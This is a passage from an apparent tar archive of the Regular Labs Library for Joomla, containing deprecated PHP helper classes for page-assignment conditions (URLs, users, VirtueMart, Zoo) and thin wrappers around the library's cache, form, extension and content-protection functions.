->where('s.params = ' . $this->db->quote($params))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
if ($template->id)
{
return $template;
}
// No template style id is found, so just grab the first result based on
the template name
$query->clear('where')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
return $template;
}
}
helpers/assignments/urls.php000064400000003401151165347300012242
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Uri\Uri as JUri;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
require_once dirname(__DIR__) . '/text.php';
class RLAssignmentsURLs extends RLAssignment
{
public function passURLs()
{
$regex = isset($this->params->regex) ? $this->params->regex :
0;
if ( ! is_array($this->selection))
{
$this->selection = explode("\n", $this->selection);
}
if (count($this->selection) == 1)
{
$this->selection = explode("\n", $this->selection[0]);
}
$url = JUri::getInstance();
$url = $url->toString();
$urls = [
RLText::html_entity_decoder(urldecode($url)),
urldecode($url),
RLText::html_entity_decoder($url),
$url,
];
$urls = array_unique($urls);
$pass = false;
foreach ($urls as $url)
{
foreach ($this->selection as $s)
{
$s = trim($s);
if ($s == '')
{
continue;
}
if ($regex)
{
$url_part = str_replace(['#', '&'],
['\#', '(&|&)'], $s);
$s = '#' . $url_part . '#si';
if (@preg_match($s . 'u', $url) || @preg_match($s, $url))
{
$pass = true;
break;
}
continue;
}
if (strpos($url, $s) !== false)
{
$pass = true;
break;
}
}
if ($pass)
{
break;
}
}
return $this->pass($pass);
}
}
helpers/assignments/users.php000064400000007123151165347300012423
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsUsers extends RLAssignment
{
public function passAccessLevels()
{
$user = JFactory::getUser();
$levels = $user->getAuthorisedViewLevels();
$this->selection =
$this->convertAccessLevelNamesToIds($this->selection);
return $this->passSimple($levels);
}
public function passUserGroupLevels()
{
$user = JFactory::getUser();
if ( ! empty($user->groups))
{
$groups = array_values($user->groups);
}
else
{
$groups = $user->getAuthorisedGroups();
}
if ($this->params->inc_children)
{
$this->setUserGroupChildrenIds();
}
$this->selection =
$this->convertUsergroupNamesToIds($this->selection);
return $this->passSimple($groups);
}
public function passUsers()
{
return $this->passSimple(JFactory::getUser()->get('id'));
}
private function convertAccessLevelNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $level)
{
if (is_numeric($level))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $level));
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__viewlevels')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
"")) IN (\'' . implode('\',\'',
$names) . '\')');
$db->setQuery($query);
$level_ids = $db->loadColumn();
return array_unique(array_merge($selection, $level_ids));
}
private function convertUsergroupNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $group)
{
if (is_numeric($group))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $group));
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__usergroups')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
"")) IN (\'' . implode('\',\'',
$names) . '\')');
$db->setQuery($query);
$group_ids = $db->loadColumn();
return array_unique(array_merge($selection, $group_ids));
}
private function setUserGroupChildrenIds()
{
$children = $this->getUserGroupChildrenIds($this->selection);
if ($this->params->inc_children == 2)
{
$this->selection = $children;
return;
}
$this->selection = array_merge($this->selection, $children);
}
private function getUserGroupChildrenIds($groups)
{
$children = [];
$db = JFactory::getDbo();
foreach ($groups as $group)
{
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__usergroups'))
->where($db->quoteName('parent_id') . ' = ' .
(int) $group);
$db->setQuery($query);
$group_children = $db->loadColumn();
if (empty($group_children))
{
continue;
}
$children = array_merge($children, $group_children);
$group_grand_children =
$this->getUserGroupChildrenIds($group_children);
if (empty($group_grand_children))
{
continue;
}
$children = array_merge($children, $group_grand_children);
}
$children = array_unique($children);
return $children;
}
}
helpers/assignments/virtuemart.php000064400000010021151165347310013454
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsVirtueMart extends RLAssignment
{
public function init()
{
$virtuemart_product_id =
JFactory::getApplication()->input->get('virtuemart_product_id',
[], 'array');
$virtuemart_category_id =
JFactory::getApplication()->input->get('virtuemart_category_id',
[], 'array');
$this->request->item_id = isset($virtuemart_product_id[0]) ?
$virtuemart_product_id[0] : null;
$this->request->category_id = isset($virtuemart_category_id[0]) ?
$virtuemart_category_id[0] : null;
$this->request->id = ($this->request->item_id) ?
$this->request->item_id : $this->request->category_id;
}
public function passPageTypes()
{
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
return $this->passByPageTypes('com_virtuemart',
$this->selection, $this->assignment, true);
}
public function passCategories()
{
if ($this->request->option != 'com_virtuemart')
{
return $this->pass(false);
}
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
$pass = (($this->params->inc_categories &&
in_array($this->request->view, ['categories',
'category']))
|| ($this->params->inc_items && $this->request->view
== 'productdetails')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = [];
if ($this->request->view == 'productdetails' &&
$this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.virtuemart_category_id')
->from('#__virtuemart_product_categories AS x')
->where('x.virtuemart_product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
else if ($this->request->category_id)
{
$cats = $this->request->category_id;
if ( ! is_numeric($cats))
{
$query = $this->db->getQuery(true)
->select('config')
->from('#__virtuemart_configs')
->where('virtuemart_config_id = 1');
$this->db->setQuery($query);
$config = $this->db->loadResult();
$lang = substr($config, strpos($config, 'vmlang='));
$lang = substr($lang, 0, strpos($lang, '|'));
if (preg_match('#"([^"]*_[^"]*)"#',
$lang, $lang))
{
$lang = $lang[1];
}
else
{
$lang = 'en_gb';
}
$query = $this->db->getQuery(true)
->select('l.virtuemart_category_id')
->from('#__virtuemart_categories_' . $lang . ' AS
l')
->where('l.slug = ' . $this->db->quote($cats));
$this->db->setQuery($query);
$cats = $this->db->loadResult();
}
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
if ( ! $this->request->id || $this->request->option !=
'com_virtuemart' || $this->request->view !=
'productdetails')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id,
'virtuemart_category_categories', 'category_parent_id',
'category_child_id');
}
}
helpers/assignments/zoo.php000064400000013015151165347310012067
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsZoo extends RLAssignment
{
public function init()
{
if ( ! $this->request->view)
{
$this->request->view = $this->request->task;
}
switch ($this->request->view)
{
case 'item':
$this->request->idname = 'item_id';
break;
case 'category':
$this->request->idname = 'category_id';
break;
}
$this->request->id =
JFactory::getApplication()->input->getInt($this->request->idname,
0);
}
public function initAssignment($assignment, $article = 0)
{
parent::initAssignment($assignment, $article);
if ($this->request->option != 'com_zoo' && !
isset($this->request->idname))
{
return;
}
switch ($this->request->idname)
{
case 'item_id':
$this->request->view = 'item';
break;
case 'category_id':
$this->request->view = 'category';
break;
}
}
public function passPageTypes()
{
return $this->passByPageTypes('com_zoo',
$this->selection, $this->assignment);
}
public function passCategories()
{
if ($this->request->option != 'com_zoo')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_apps && $this->request->view ==
'frontpage')
|| ($this->params->inc_categories &&
$this->request->view == 'category')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->getCategories();
if ($cats === false)
{
return $this->pass(false);
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
if ($this->article && isset($this->article->catid))
{
return [$this->article->catid];
}
$menuparams = $this->getMenuItemParams($this->request->Itemid);
switch ($this->request->view)
{
case 'frontpage':
if ($this->request->id)
{
return [$this->request->id];
}
if ( ! isset($menuparams->application))
{
return [];
}
return ['app' . $menuparams->application];
case 'category':
$cats = [];
if ($this->request->id)
{
$cats[] = $this->request->id;
}
else if (isset($menuparams->category))
{
$cats[] = $menuparams->category;
}
if (empty($cats[0]))
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $cats[0]);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
case 'item':
$id = $this->request->id;
if ( ! $id && isset($menuparams->item_id))
{
$id = $menuparams->item_id;
}
if ( ! $id)
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__zoo_category_item AS c')
->where('c.item_id = ' . (int) $id)
->where('c.category_id != 0');
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
$query = $this->db->getQuery(true)
->select('i.application_id')
->from('#__zoo_item AS i')
->where('i.id = ' . (int) $id);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
default:
return false;
}
}
public function passItems()
{
if ( ! $this->request->id || $this->request->option !=
'com_zoo')
{
return $this->pass(false);
}
if ($this->request->view != 'item')
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__zoo_item')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
private function getCatParentIds($id = 0)
{
$parent_ids = [];
if ( ! $id)
{
return $parent_ids;
}
while ($id)
{
if (substr($id, 0, 3) == 'app')
{
$parent_ids[] = $id;
break;
}
$query = $this->db->getQuery(true)
->select('c.parent')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$pid = $this->db->loadResult();
if ( ! $pid)
{
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$app = $this->db->loadResult();
if ($app)
{
$parent_ids[] = 'app' . $app;
}
break;
}
$parent_ids[] = $pid;
$id = $pid;
}
return $parent_ids;
}
}
helpers/assignments.php000064400000002132151165347310011256
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Conditions as RL_Conditions;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLAssignmentsHelper
{
function passAll($assignments, $matching_method = 'all', $item =
0)
{
return RL_Conditions::pass($assignments, $matching_method, $item);
}
public function getAssignmentsFromParams(&$params)
{
return RL_Conditions::getConditionsFromParams($params);
}
public function getAssignmentsFromTagAttributes(&$params, $types = [])
{
return RL_Conditions::getConditionsFromTagAttributes($params, $types);
}
public function hasAssignments(&$assignments)
{
return RL_Conditions::hasConditions($assignments);
}
}
helpers/cache.php000064400000001734151165347310007775 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Cache as RL_Cache;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLCache
{
static $cache = [];
public static function has($id)
{
return RL_Cache::has($id);
}
public static function get($id)
{
return RL_Cache::get($id);
}
public static function set($id, $data)
{
return RL_Cache::set($id, $data);
}
public static function read($id)
{
return RL_Cache::read($id);
}
public static function write($id, $data, $ttl = 0)
{
return RL_Cache::write($id, $data, $ttl);
}
}
helpers/field.php000064400000001070151165347310010006 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLFormField
extends \RegularLabs\Library\Field
{
}
helpers/functions.php000064400000010562151165347310010741 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;
use RegularLabs\Library\File as RL_File;
use RegularLabs\Library\Http as RL_Http;
use RegularLabs\Library\Language as RL_Language;
use RegularLabs\Library\Xml as RL_Xml;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
/**
* Framework Functions
*/
class RLFunctions
{
public static function getContents($url, $timeout = 20)
{
return ! class_exists('RegularLabs\Library\Http') ?
'' : RL_Http::get($url, $timeout);
}
public static function getByUrl($url, $timeout = 20)
{
return ! class_exists('RegularLabs\Library\Http') ?
'' : RL_Http::getFromServer($url, $timeout);
}
public static function isFeed()
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isFeed();
}
public static function script($file, $version = '')
{
class_exists('RegularLabs\Library\Document') &&
RL_Document::script($file, $version);
}
public static function stylesheet($file, $version = '')
{
class_exists('RegularLabs\Library\Document') &&
RL_Document::stylesheet($file, $version);
}
public static function addScriptVersion($url)
{
jimport('joomla.filesystem.file');
$version = '';
if (file_exists(JPATH_SITE . $url))
{
$version = filemtime(JPATH_SITE . $url);
}
self::script($url, $version);
}
public static function addStyleSheetVersion($url)
{
jimport('joomla.filesystem.file');
$version = '';
if (file_exists(JPATH_SITE . $url))
{
$version = filemtime(JPATH_SITE . $url);
}
self::stylesheet($url, $version);
}
protected static function getFileByFolder($folder, $file)
{
return ! class_exists('RegularLabs\Library\File') ?
'' : RL_File::getMediaFile($folder, $file);
}
public static function getComponentBuffer()
{
return ! class_exists('RegularLabs\Library\Document') ?
'' : RL_Document::getBuffer();
}
public static function getAliasAndElement(&$name)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getAliasAndElement($name);
}
public static function getNameByAlias($alias)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getNameByAlias($alias);
}
public static function getAliasByName($name)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getAliasByName($name);
}
public static function getElementByAlias($alias)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getElementByAlias($alias);
}
public static function getXMLValue($key, $alias, $type =
'component', $folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getXMLValue($key, $alias, $type, $folder);
}
public static function getXML($alias, $type = 'component',
$folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getXML($alias, $type, $folder);
}
public static function getXMLFile($alias, $type = 'component',
$folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getXMLFile($alias, $type, $folder);
}
public static function extensionInstalled($extension, $type =
'component', $folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::isInstalled($extension, $type, $folder);
}
public static function getExtensionPath($extension =
'plg_system_regularlabs', $basePath = JPATH_ADMINISTRATOR,
$check_folder = '')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getPath($extension, $basePath, $check_folder);
}
public static function loadLanguage($extension =
'plg_system_regularlabs', $basePath = '', $reload =
false)
{
return class_exists('RegularLabs\Library\Language') &&
RL_Language::load($extension, $basePath, $reload);
}
public static function xmlToObject($url, $root = '')
{
return ! class_exists('RegularLabs\Library\Xml') ? ''
: RL_Xml::toObject($url, $root);
}
}
helpers/groupfield.php000064400000001102151165347310011057 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLFormGroupField
extends \RegularLabs\Library\FieldGroup
{
}
helpers/helper.php000064400000003406151165347320010210 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Article as RL_Article;
use RegularLabs\Library\Cache as RL_Cache;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Parameters as RL_Parameters;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLHelper
{
public static function getPluginHelper($plugin, $params = null)
{
if ( ! class_exists('RegularLabs\Library\Cache'))
{
return null;
}
$hash = md5('getPluginHelper_' .
$plugin->get('_type') . '_' .
$plugin->get('_name') . '_' . json_encode($params));
if (RL_Cache::has($hash))
{
return RL_Cache::get($hash);
}
if ( ! $params)
{
$params =
RL_Parameters::getInstance()->getPluginParams($plugin->get('_name'));
}
$file = JPATH_PLUGINS . '/' .
$plugin->get('_type') . '/' .
$plugin->get('_name') . '/helper.php';
if ( ! is_file($file))
{
return null;
}
require_once $file;
$class = get_class($plugin) . 'Helper';
return RL_Cache::set(
$hash,
new $class($params)
);
}
public static function processArticle(&$article, &$context,
&$helper, $method, $params = [])
{
class_exists('RegularLabs\Library\Article') &&
RL_Article::process($article, $context, $helper, $method, $params);
}
public static function isCategoryList($context)
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isCategoryList($context);
}
}
helpers/html.php000064400000001656151165347350007705 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Form as RL_Form;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLHtml
{
static function selectlist(&$options, $name, $value, $id, $size = 0,
$multiple = 0, $simple = 0)
{
return RL_Form::selectList($options, $name, $value, $id, $size,
$multiple, $simple);
}
static function selectlistsimple(&$options, $name, $value, $id, $size
= 0, $multiple = 0)
{
return RL_Form::selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
}
helpers/htmlfix.php000064400000001205151165347350010402 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Html as RL_Html;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLHtmlFix
{
public static function _($string)
{
return RL_Html::fix($string);
}
}
helpers/licenses.php000064400000001354151165347350010541 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\License as RL_License;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLLicenses
{
public static function render($name, $check_pro = false)
{
return ! class_exists('RegularLabs\Library\License') ?
'' : RL_License::getMessage($name, $check_pro);
}
}
helpers/mobile_detect.php000064400000001232151165347350011526
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLMobile_Detect extends \RegularLabs\Library\MobileDetect
{
public function isMac()
{
return $this->match('(Mac OS|Mac_PowerPC|Macintosh)');
}
}
helpers/parameters.php000064400000001236151165347350011076 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Parameters as RL_Parameters;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLParameters
{
public static function getInstance()
{
return RL_Parameters::getInstance();
}
}
helpers/protect.php000064400000014604151165347350010416 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Protect as RL_Protect;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLProtect
{
public static function isProtectedPage($extension_alias = '',
$hastags = false, $exclude_formats = ['pdf'])
{
if ( ! class_exists('RegularLabs\Library\Protect'))
{
return true;
}
if (RL_Protect::isDisabledByUrl($extension_alias))
{
return true;
}
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isRestrictedPage($hastags, $exclude_formats);
}
public static function isAdmin($block_login = false)
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isAdmin($block_login);
}
public static function isEditPage()
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isEditPage();
}
public static function isRestrictedComponent($restricted_components, $area
= 'component')
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isRestrictedComponent($restricted_components, $area);
}
public static function isComponentInstalled($extension_alias)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isComponentInstalled($extension_alias);
}
public static function isSystemPluginInstalled($extension_alias)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isSystemPluginInstalled($extension_alias);
}
public static function getFormRegex($regex_format = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::getFormRegex($regex_format);
}
public static function protectFields(&$string, $search_strings = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectFields($string, $search_strings);
}
public static function protectScripts(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectScripts($string);
}
public static function protectHtmlTags(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectHtmlTags($string);
}
public static function protectByRegex(&$string, $regex)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectByRegex($string, $regex);
}
public static function protectTags(&$string, $tags = [],
$include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectTags($string, $tags, $include_closing_tags);
}
public static function unprotectTags(&$string, $tags = [],
$include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectTags($string, $tags, $include_closing_tags);
}
public static function protectInString(&$string, $unprotected = [],
$protected = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectInString($string, $unprotected, $protected);
}
public static function unprotectInString(&$string, $unprotected = [],
$protected = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectInString($string, $unprotected, $protected);
}
public static function protectSourcerer(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectSourcerer($string);
}
public static function protectForm(&$string, $tags = [],
$include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectForm($string, $tags, $include_closing_tags);
}
public static function unprotect(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotect($string);
}
public static function convertProtectionToHtmlSafe(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::convertProtectionToHtmlSafe($string);
}
public static function unprotectHtmlSafe(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectHtmlSafe($string);
}
public static function protectString($string, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectString($string, $is_tag);
}
public static function unprotectString($string, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectString($string, $is_tag);
}
public static function protectTag($string)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectTag($string);
}
public static function protectArray($array, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectArray($array, $is_tag);
}
public static function unprotectArray($array, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectArray($array, $is_tag);
}
public static function unprotectForm(&$string, $tags = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectForm($string, $tags);
}
public static function removeInlineComments(&$string, $name)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::removeInlineComments($string, $name);
}
public static function removePluginTags(&$string, $tags,
$character_start = '{', $character_end = '{',
$keep_content = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::removePluginTags($string, $tags, $character_start,
$character_end, $keep_content);
}
public static function removeFromHtmlTagContent(&$string, $tags,
$include_closing_tags = true, $html_tags = ['title'])
{
class_exists('RegularLabs\Library\Protect') &&
